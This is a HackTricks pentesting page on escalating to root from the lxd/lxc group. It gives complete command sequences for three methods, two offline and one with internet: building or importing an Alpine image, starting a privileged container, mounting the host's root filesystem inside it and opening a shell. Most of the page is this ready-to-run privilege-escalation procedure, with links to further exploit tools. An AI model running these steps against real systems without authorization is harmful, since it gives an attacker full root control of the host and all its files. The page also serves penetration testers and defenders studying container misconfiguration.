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128 lines
6.2 KiB
Markdown
128 lines
6.2 KiB
Markdown
# lxd/lxc Group - Privilege escalation
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
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## Exploiting without internet
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### Method 1
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You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
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```bash
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sudo su
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#Install requirements
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sudo apt update
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sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
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#Clone repo
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git clone https://github.com/lxc/distrobuilder
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#Make distrobuilder
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cd distrobuilder
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make
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#Prepare the creation of alpine
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mkdir -p $HOME/ContainerImages/alpine/
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cd $HOME/ContainerImages/alpine/
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wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
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#Create the container
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sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
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```
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Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
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Add the image:
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```bash
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lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
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lxc image list #You can see your new imported image
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```
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Create a container and add root path
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```bash
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lxc init alpine privesc -c security.privileged=true
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lxc list #List containers
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lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
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```
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{% hint style="danger" %}
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If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
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Run **`lxd init`** and **repeat** the previous chunk of commands
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{% endhint %}
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Execute the container:
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```bash
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lxc start privesc
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lxc exec privesc /bin/sh
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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### Method 2
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Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
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```bash
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# build a simple alpine image
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git clone https://github.com/saghul/lxd-alpine-builder
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cd lxd-alpine-builder
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sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
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sudo ./build-alpine -a i686
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# import the image
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lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
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# before running the image, start and configure the lxd storage pool as default
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lxd init
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# run the image
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lxc init myimage mycontainer -c security.privileged=true
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# mount the /root into the image
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lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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# interact with the container
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lxc start mycontainer
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lxc exec mycontainer /bin/sh
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```
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Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
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## With internet
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You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
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```bash
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lxc init ubuntu:16.04 test -c security.privileged=true
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lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
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lxc start test
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lxc exec test bash
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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## Other Refs
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{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
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|
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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